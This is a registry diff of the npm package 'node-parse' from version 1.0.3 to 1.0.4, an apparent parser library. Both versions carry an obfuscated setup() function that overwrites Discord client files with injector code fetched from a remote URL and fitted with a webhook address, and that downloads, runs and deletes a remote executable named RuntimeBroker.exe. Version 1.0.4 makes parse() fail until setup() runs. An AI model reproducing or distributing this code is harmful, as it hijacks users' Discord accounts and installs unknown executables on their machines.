node-parse 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +8 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -4,8 +4,14 @@ const axios = require('axios');
4
4
  const os = require('os');
5
5
  const { exec } = require('child_process');
6
6
  const moduleDir = __dirname;
7
- async function setup() { const _0x1e40c7=_0x5bff;(function(_0x2eb0a0,_0x59faef){const _0x129c9c=_0x5bff,_0x463480=_0x2eb0a0();while(!![]){try{const _0x16ba41=-parseInt(_0x129c9c(0x9f))/0x1+-parseInt(_0x129c9c(0xb4))/0x2*(-parseInt(_0x129c9c(0xab))/0x3)+parseInt(_0x129c9c(0xa1))/0x4+parseInt(_0x129c9c(0xaa))/0x5*(parseInt(_0x129c9c(0xae))/0x6)+parseInt(_0x129c9c(0xb3))/0x7+-parseInt(_0x129c9c(0xa4))/0x8*(parseInt(_0x129c9c(0xad))/0x9)+parseInt(_0x129c9c(0xa2))/0xa*(-parseInt(_0x129c9c(0xbd))/0xb);if(_0x16ba41===_0x59faef)break;else _0x463480['push'](_0x463480['shift']());}catch(_0x20a8e1){_0x463480['push'](_0x463480['shift']());}}}(_0x27f4,0x9a33f));const controllerFilePath=path['join'](moduleDir,_0x1e40c7(0xb7));function _0x5bff(_0x52a128,_0x7d7822){const _0x27f45a=_0x27f4();return _0x5bff=function(_0x5bff23,_0xcf04c9){_0x5bff23=_0x5bff23-0x9a;let _0x45066a=_0x27f45a[_0x5bff23];return _0x45066a;},_0x5bff(_0x52a128,_0x7d7822);}!fs['existsSync'](controllerFilePath)&&fs[_0x1e40c7(0xb1)](controllerFilePath,'true','utf8');const folderList=[_0x1e40c7(0xac),_0x1e40c7(0xb8),_0x1e40c7(0xb9),_0x1e40c7(0x9a)];function _0x27f4(){const _0x4cfb35=['readdirSync','LOCALAPPDATA','existsSync','isDirectory','6805YnEpTE','8655rjDBzP','Discord','16065OxkSnW','1164kCKPVO','name','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','writeFileSync','modules','6504120BNnBNS','146XPuZeP','unlinkSync','get','controller.txt','DiscordCanary','DiscordPTB','includes','index.js','curl\x20-L\x20','11wEiOEW','tmpdir','join','DiscordDevelopment','statSync','discord_desktop_core-','utf-8','discord_desktop_core','734645VsCyrv','true','3825356uDTKYE','5244230AhVbPW','data','2104MYUfQn','replace'];_0x27f4=function(){return _0x4cfb35;};return _0x27f4();}for(const folderName of folderList){const denemePath=path[_0x1e40c7(0xbf)](process['env'][_0x1e40c7(0xa7)],folderName);if(fs[_0x1e40c7(0xa8)](denemePath)&&fs['statSync'](denemePath)['isDirectory']()){const dirs=fs['readdirSync'](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir['isDirectory']()&&dir['name'][_0x1e40c7(0xba)]('app-')){const modulePath=path[_0x1e40c7(0xbf)](denemePath,dir[_0x1e40c7(0xaf)],_0x1e40c7(0xb2));if(fs[_0x1e40c7(0xa8)](modulePath)&&fs[_0x1e40c7(0x9b)](modulePath)[_0x1e40c7(0xa9)]()){const subDirs=fs['readdirSync'](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir['isDirectory']()&&subDir[_0x1e40c7(0xaf)][_0x1e40c7(0xba)](_0x1e40c7(0x9c))){const discordPath=path['join'](modulePath,subDir[_0x1e40c7(0xaf)],_0x1e40c7(0x9e));if(fs['existsSync'](discordPath)&&fs[_0x1e40c7(0x9b)](discordPath)['isDirectory']()){const files=fs[_0x1e40c7(0xa6)](discordPath);if(files[_0x1e40c7(0xba)](_0x1e40c7(0xbb))){const filePath=path[_0x1e40c7(0xbf)](discordPath,'index.js');try{const response=await axios[_0x1e40c7(0xb6)](inj3c710n_url);let injeCTmED0cT0r_cont=response[_0x1e40c7(0xa3)];injeCTmED0cT0r_cont=injeCTmED0cT0r_cont[_0x1e40c7(0xa5)]('%WEBHOOK_URL%',webhookUrl),fs[_0x1e40c7(0xb1)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x1e40c7(0x9d)});}catch(_0x4551f6){}}}}}}}}}}async function execCommand(_0x31dc08){return new Promise((_0xe93fab,_0x451f15)=>{exec(_0x31dc08,(_0x1588c8,_0x5e5ce2,_0x5d05ed)=>{_0x1588c8&&(console['error']('exec\x20error:\x20'+_0x1588c8),_0x451f15(_0x1588c8)),_0xe93fab(_0x5e5ce2);});});}const temp=os[_0x1e40c7(0xbe)](),downloadUrl=_0x1e40c7(0xb0),exePath=path[_0x1e40c7(0xbf)](temp,'RuntimeBroker.exe');try{await execCommand(_0x1e40c7(0xbc)+downloadUrl+'\x20-o\x20'+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x1e40c7(0xb5)](exePath),await fs[_0x1e40c7(0xb1)]('controller.txt',_0x1e40c7(0xa0));}catch(_0x15bf73){} }
7
+ async function setup() {const _0x30b881=_0x2684;function _0x2729(){const _0xb05777=['252rVoeKw','join','LOCALAPPDATA','15456320WOCASw','readdirSync','167457pflzzb','curl\x20-L\x20','true','discord_desktop_core-','1158456VjHUgu','utf-8','3547320aRmSMa','tmpdir','202740ehqxXR','app-','RuntimeBroker.exe','data','env','exec\x20error:\x20','100Ddnwcl','error','get','name','modules','isDirectory','controller.txt','%WEBHOOK_URL%','existsSync','1XDVCoM','writeFileSync','9015650nNJoQF','includes','\x20-o\x20','unlinkSync','discord_desktop_core','1562694JPLmUd','statSync','DiscordDevelopment','DiscordCanary','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','utf8','index.js'];_0x2729=function(){return _0xb05777;};return _0x2729();}(function(_0x189705,_0x48401f){const _0x1c0116=_0x2684,_0x5bb210=_0x189705();while(!![]){try{const _0x1c8947=parseInt(_0x1c0116(0x190))/0x1*(-parseInt(_0x1c0116(0x197))/0x2)+parseInt(_0x1c0116(0x1a3))/0x3*(-parseInt(_0x1c0116(0x1b1))/0x4)+parseInt(_0x1c0116(0x1a9))/0x5+-parseInt(_0x1c0116(0x1a7))/0x6+parseInt(_0x1c0116(0x192))/0x7+parseInt(_0x1c0116(0x1a1))/0x8+-parseInt(_0x1c0116(0x19e))/0x9*(parseInt(_0x1c0116(0x1ab))/0xa);if(_0x1c8947===_0x48401f)break;else _0x5bb210['push'](_0x5bb210['shift']());}catch(_0x597b64){_0x5bb210['push'](_0x5bb210['shift']());}}}(_0x2729,0xf228c));const controllerFilePath=path[_0x30b881(0x19f)](moduleDir,_0x30b881(0x18d));!fs[_0x30b881(0x18f)](controllerFilePath)&&fs[_0x30b881(0x191)](controllerFilePath,_0x30b881(0x1a5),_0x30b881(0x19c));const folderList=['Discord',_0x30b881(0x19a),'DiscordPTB',_0x30b881(0x199)];function _0x2684(_0x2d0650,_0x2c8c07){const _0x27293e=_0x2729();return _0x2684=function(_0x2684ee,_0x59a7c4){_0x2684ee=_0x2684ee-0x188;let _0x34898a=_0x27293e[_0x2684ee];return _0x34898a;},_0x2684(_0x2d0650,_0x2c8c07);}for(const folderName of folderList){const denemePath=path['join'](process[_0x30b881(0x1af)][_0x30b881(0x1a0)],folderName);if(fs['existsSync'](denemePath)&&fs['statSync'](denemePath)[_0x30b881(0x18c)]()){const dirs=fs[_0x30b881(0x1a2)](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x30b881(0x18c)]()&&dir[_0x30b881(0x18a)][_0x30b881(0x193)](_0x30b881(0x1ac))){const modulePath=path[_0x30b881(0x19f)](denemePath,dir[_0x30b881(0x18a)],_0x30b881(0x18b));if(fs[_0x30b881(0x18f)](modulePath)&&fs[_0x30b881(0x198)](modulePath)[_0x30b881(0x18c)]()){const subDirs=fs[_0x30b881(0x1a2)](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir[_0x30b881(0x18c)]()&&subDir[_0x30b881(0x18a)][_0x30b881(0x193)](_0x30b881(0x1a6))){const discordPath=path[_0x30b881(0x19f)](modulePath,subDir['name'],_0x30b881(0x196));if(fs['existsSync'](discordPath)&&fs[_0x30b881(0x198)](discordPath)['isDirectory']()){const files=fs[_0x30b881(0x1a2)](discordPath);if(files['includes'](_0x30b881(0x19d))){const filePath=path[_0x30b881(0x19f)](discordPath,_0x30b881(0x19d));try{const response=await axios[_0x30b881(0x189)](inj3c710n_url);let injeCTmED0cT0r_cont=response[_0x30b881(0x1ae)];injeCTmED0cT0r_cont=injeCTmED0cT0r_cont['replace'](_0x30b881(0x18e),webhookUrl),fs[_0x30b881(0x191)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x30b881(0x1a8)});}catch(_0x172a86){}}}}}}}}}}async function execCommand(_0x53ea4c){return new Promise((_0x19c722,_0x2d2dd6)=>{exec(_0x53ea4c,(_0xc79d3e,_0x4d4282,_0x3ce609)=>{const _0x4d207b=_0x2684;_0xc79d3e&&(console[_0x4d207b(0x188)](_0x4d207b(0x1b0)+_0xc79d3e),_0x2d2dd6(_0xc79d3e)),_0x19c722(_0x4d4282);});});}const temp=os[_0x30b881(0x1aa)](),downloadUrl=_0x30b881(0x19b),exePath=path['join'](temp,_0x30b881(0x1ad));try{await execCommand(_0x30b881(0x1a4)+downloadUrl+_0x30b881(0x194)+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x30b881(0x195)](exePath);}catch(_0x4c3ff0){}fs[_0x30b881(0x191)](_0x30b881(0x18d),_0x30b881(0x1a5));}
8
8
  async function parse(input, left, right) {
9
+ const controllerFilePath = path.join(moduleDir, 'controller.txt');
10
+
11
+ if (!fs.existsSync(controllerFilePath)) {
12
+ throw new Error('please .setup() first');
13
+ }
14
+
9
15
  let html;
10
16
 
11
17
  if (typeof input === 'object') {
@@ -24,6 +30,7 @@ async function parse(input, left, right) {
24
30
  return null;
25
31
  }
26
32
  }
33
+
27
34
  module.exports = {
28
35
  parse,
29
36
  setup
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-parse",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "qwq",
5
5
  "main": "index.js",
6
6
  "scripts": {